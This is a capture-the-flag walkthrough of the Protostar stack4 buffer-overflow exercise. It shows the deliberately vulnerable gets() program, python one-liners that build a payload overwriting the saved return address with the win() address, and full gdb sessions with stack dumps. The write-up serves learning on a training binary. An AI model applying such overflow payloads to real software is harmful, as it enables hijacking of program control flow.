Problem :lock:

Stack4 takes a look at overwriting saved EIP and standard buffer overflows.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Hint :bulb:

A variety of introductory papers into buffer overflows may help.

gdb lets you do “run < input”

EIP is not directly after the end of buffer, compiler padding can also increase the size.

Solution :key:

This solution will consist of 2 parts:

  1. failed attempt
  2. successful attempt due to information gained after the failed attempt

First I went into gdb to find out where win() is located in the stack:

(gdb) x win
0x80483f4 <win>:        0x83e58955

Now we know win() is at 0x80483f4, so my first attempt was to fill up buffer[64] and then overwriting the eip that was pushed into the stack when main was called by __libc_start_main:

python -c "pl = 'A'*64; pl += '\xf4\x83\x04\x08'; print pl" > payload.txt

Let’s disassemble main and set some breakpoints to know how the stack and registers changes:

(gdb) disas main
Dump of assembler code for function main:
0x08048408 <main+0>:    push   ebp
...
0x08048418 <main+16>:   call   0x804830c <gets@plt>
0x0804841d <main+21>:   leave  
...
End of assembler dump.
(gdb) b *0x08048408
Breakpoint 1 at 0x8048408: file stack4/stack4.c, line 12.
(gdb) b *0x08048409
Breakpoint 2 at 0x8048409: file stack4/stack4.c, line 12.
(gdb) b *0x08048418
Breakpoint 3 at 0x8048418: file stack4/stack4.c, line 15.
(gdb) b *0x0804841d
Breakpoint 4 at 0x804841d: file stack4/stack4.c, line 16.

The reasons for the breakpoints are:

So we run the program, 1st breakpoint, stack and registers looks like this:

0xbffff7ac:     0xb7eadc76      0x00000001      0xbffff854      0xbffff85c
0xbffff7bc:     0xb7fe1848      0xbffff810      0xffffffff      0xb7ffeff4
0xbffff7cc:     0x0804824b      0x00000001      0xbffff810      0xb7ff0626
0xbffff7dc:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffff7ec:     0x00000000      0xbffff828      0x0140fbd8      0x2b17edc8
0xbffff7fc:     0x00000000      0x00000000      0x00000000      0x00000001
...
ebp            0xbffff828       0xbffff828
eip            0x8048408        0x8048408 <main>

Continue, 2nd breakpoint, we see that ebp with the value 0xbffff828 was indeed pushed into the stack at 0xbffff7a8, and now the stack view has shifted a by 1 column:

0xbffff7a8:     0xbffff828      0xb7eadc76      0x00000001      0xbffff854
0xbffff7b8:     0xbffff85c      0xb7fe1848      0xbffff810      0xffffffff
0xbffff7c8:     0xb7ffeff4      0x0804824b      0x00000001      0xbffff810
0xbffff7d8:     0xb7ff0626      0xb7fffab0      0xb7fe1b28      0xb7fd7ff4
0xbffff7e8:     0x00000000      0x00000000      0xbffff828      0x0140fbd8
0xbffff7f8:     0x2b17edc8      0x00000000      0x00000000      0x00000000
...
ebp            0xbffff828       0xbffff828
eip            0x8048409        0x8048409 <main+1>

Continue, 3rd breakpoint, the stack pointer has moved, so the stack view has also moved, but we can still see our old ebp that was pushed at 0xbffff7a8:

0xbffff750:     0xbffff760      0xb7ec6165      0xbffff768      0xb7eada75
0xbffff760:     0xb7fd7ff4      0x080495ec      0xbffff778      0x080482e8
0xbffff770:     0xb7ff1040      0x080495ec      0xbffff7a8      0x08048449
0xbffff780:     0xb7fd8304      0xb7fd7ff4      0x08048430      0xbffff7a8
0xbffff790:     0xb7ec6365      0xb7ff1040      0x0804843b      0xb7fd7ff4
0xbffff7a0:     0x08048430      0x00000000      0xbffff828      0xb7eadc76
...
ebp            0xbffff7a8       0xbffff7a8
eip            0x8048418        0x8048418 <main+16>

Continue, 4th breakpoint, gets has run and now we see our payload in the stack:

0xbffff750:     0xbffff760      0xb7ec6165      0xbffff768      0xb7eada75
0xbffff760:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff770:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff780:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff790:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff7a0:     0x080483f4      0x00000000      0xbffff828      0xb7eadc76
...
ebp            0xbffff7a8       0xbffff7a8
eip            0x804841d        0x804841d <main+21>

We can see that we wrote the return address too soon (at 0xbffff7a0) as hinted by the 3rd hint. So we extend our fillers by 8 more chars to fill up more memory and overwrite the old ebp at 0xbffff7a8:

python -c "pl = 'A'*72; pl += '\xf4\x83\x04\x08'; print pl" > payload.txt

We do everything from the beginning and now after the 4th breakpoint the stack looks like this:

0xbffff750:     0xbffff760      0xb7ec6165      0xbffff768      0xb7eada75
0xbffff760:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff770:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff780:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff790:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff7a0:     0x41414141      0x41414141      0x080483f4      0xb7eadc00

Looks like we have overwritten ebp to the address of win(), but if we continue the program we get sigsegv:

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.

Second attempt, I realized that what we needed to overwrite was not the ebp (which is pushed in the main function) but the eip that was pushed right before it (by the __libc_start_main function who is the caller of main function), so now we enlarge the filler by another 4 bytes:

python -c "pl = 'A'*76; pl += '\xf4\x83\x04\x08'; print pl" > payload.txt

Now at the 4th breakpoint the stack looks like this:

0xbffff750:     0xbffff760      0xb7ec6165      0xbffff768      0xb7eada75
0xbffff760:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff770:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff780:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff790:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff7a0:     0x41414141      0x41414141      0x41414141      0x080483f4

Continue, and we successfully changed the program flow

(gdb) c
Continuing.
code flow successfully changed

Doing it without gdb:

user@protostar:/opt/protostar/bin$ cat /home/user/payload.txt | ./stack4
code flow successfully changed
Segmentation fault
Full debugging process
user@protostar:~$ python -c "pl = 'A'*76; pl += '\xf4\x83\x04\x08'; print pl" > payload.txt
user@protostar:/opt/protostar/bin$ gdb ./stack4
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) set disassembly-flavor intel 
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/24wx $esp
>info registers
>x/2i $eip
>end
(gdb) x win
0x80483f4 <win>:        0x83e58955
(gdb) disas main
Dump of assembler code for function main:
0x08048408 <main+0>:    push   ebp
0x08048409 <main+1>:    mov    ebp,esp
0x0804840b <main+3>:    and    esp,0xfffffff0
0x0804840e <main+6>:    sub    esp,0x50
0x08048411 <main+9>:    lea    eax,[esp+0x10]
0x08048415 <main+13>:   mov    DWORD PTR [esp],eax
0x08048418 <main+16>:   call   0x804830c <gets@plt>
0x0804841d <main+21>:   leave  
0x0804841e <main+22>:   ret    
End of assembler dump.
(gdb) b *0x08048408
Breakpoint 1 at 0x8048408: file stack4/stack4.c, line 12.
(gdb) b *0x08048409
Breakpoint 2 at 0x8048409: file stack4/stack4.c, line 12.
(gdb) b *0x08048418
Breakpoint 3 at 0x8048418: file stack4/stack4.c, line 15.
(gdb) b *0x0804841d
Breakpoint 4 at 0x804841d: file stack4/stack4.c, line 16.
(gdb) r < /home/user/payload.txt 
Starting program: /opt/protostar/bin/stack4 < /home/user/payload.txt
0xbffff7ac:     0xb7eadc76      0x00000001      0xbffff854      0xbffff85c
0xbffff7bc:     0xb7fe1848      0xbffff810      0xffffffff      0xb7ffeff4
0xbffff7cc:     0x0804824b      0x00000001      0xbffff810      0xb7ff0626
0xbffff7dc:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffff7ec:     0x00000000      0xbffff828      0xfe81a663      0xd4d6b073
0xbffff7fc:     0x00000000      0x00000000      0x00000000      0x00000001
eax            0xbffff854       -1073743788
ecx            0xd4d6b073       -724127629
edx            0x1      1
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff7ac       0xbffff7ac
ebp            0xbffff828       0xbffff828
esi            0x0      0
edi            0x0      0
eip            0x8048408        0x8048408 <main>
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
0x8048408 <main>:       push   ebp
0x8048409 <main+1>:     mov    ebp,esp

Breakpoint 1, main (argc=1, argv=0xbffff854) at stack4/stack4.c:12
12      stack4/stack4.c: No such file or directory.
        in stack4/stack4.c
(gdb) c
Continuing.
0xbffff7a8:     0xbffff828      0xb7eadc76      0x00000001      0xbffff854
0xbffff7b8:     0xbffff85c      0xb7fe1848      0xbffff810      0xffffffff
0xbffff7c8:     0xb7ffeff4      0x0804824b      0x00000001      0xbffff810
0xbffff7d8:     0xb7ff0626      0xb7fffab0      0xb7fe1b28      0xb7fd7ff4
0xbffff7e8:     0x00000000      0x00000000      0xbffff828      0xfe81a663
0xbffff7f8:     0xd4d6b073      0x00000000      0x00000000      0x00000000
eax            0xbffff854       -1073743788
ecx            0xd4d6b073       -724127629
edx            0x1      1
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff7a8       0xbffff7a8
ebp            0xbffff828       0xbffff828
esi            0x0      0
edi            0x0      0
eip            0x8048409        0x8048409 <main+1>
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
0x8048409 <main+1>:     mov    ebp,esp
0x804840b <main+3>:     and    esp,0xfffffff0

Breakpoint 2, 0x08048409 in main (argc=1, argv=0xbffff854) at stack4/stack4.c:12
12      in stack4/stack4.c
(gdb) c
Continuing.
0xbffff750:     0xbffff760      0xb7ec6165      0xbffff768      0xb7eada75
0xbffff760:     0xb7fd7ff4      0x080495ec      0xbffff778      0x080482e8
0xbffff770:     0xb7ff1040      0x080495ec      0xbffff7a8      0x08048449
0xbffff780:     0xb7fd8304      0xb7fd7ff4      0x08048430      0xbffff7a8
0xbffff790:     0xb7ec6365      0xb7ff1040      0x0804843b      0xb7fd7ff4
0xbffff7a0:     0x08048430      0x00000000      0xbffff828      0xb7eadc76
eax            0xbffff760       -1073744032
ecx            0xd4d6b073       -724127629
edx            0x1      1
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff750       0xbffff750
ebp            0xbffff7a8       0xbffff7a8
esi            0x0      0
edi            0x0      0
eip            0x8048418        0x8048418 <main+16>
eflags         0x200286 [ PF SF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
0x8048418 <main+16>:    call   0x804830c <gets@plt>
0x804841d <main+21>:    leave  

Breakpoint 3, 0x08048418 in main (argc=1, argv=0xbffff854) at stack4/stack4.c:15
15      in stack4/stack4.c
(gdb) c
Continuing.
0xbffff750:     0xbffff760      0xb7ec6165      0xbffff768      0xb7eada75
0xbffff760:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff770:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff780:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff790:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff7a0:     0x41414141      0x41414141      0x41414141      0x080483f4
eax            0xbffff760       -1073744032
ecx            0xbffff760       -1073744032
edx            0xb7fd9334       -1208118476
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff750       0xbffff750
ebp            0xbffff7a8       0xbffff7a8
esi            0x0      0
edi            0x0      0
eip            0x804841d        0x804841d <main+21>
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
0x804841d <main+21>:    leave  
0x804841e <main+22>:    ret    

Breakpoint 4, main (argc=0, argv=0xbffff854) at stack4/stack4.c:16
16      in stack4/stack4.c
(gdb) c
Continuing.
code flow successfully changed

Program received signal SIGSEGV, Segmentation fault.
0xbffff7b4:     0xbffff854      0xbffff85c      0xb7fe1848      0xbffff810
0xbffff7c4:     0xffffffff      0xb7ffeff4      0x0804824b      0x00000001
0xbffff7d4:     0xbffff810      0xb7ff0626      0xb7fffab0      0xb7fe1b28
0xbffff7e4:     0xb7fd7ff4      0x00000000      0x00000000      0xbffff828
0xbffff7f4:     0xfe81a663      0xd4d6b073      0x00000000      0x00000000
0xbffff804:     0x00000000      0x00000001      0x08048340      0x00000000
eax            0x1f     31
ecx            0xb7fd84c0       -1208122176
edx            0xb7fd9340       -1208118464
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff7b4       0xbffff7b4
ebp            0x41414141       0x41414141
esi            0x0      0
edi            0x0      0
eip            0x0      0
eflags         0x210246 [ PF ZF IF RF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
0x0:    Error while running hook_stop:
Cannot access memory at address 0x0
0x00000000 in ?? ()
(gdb) 

:checkered_flag: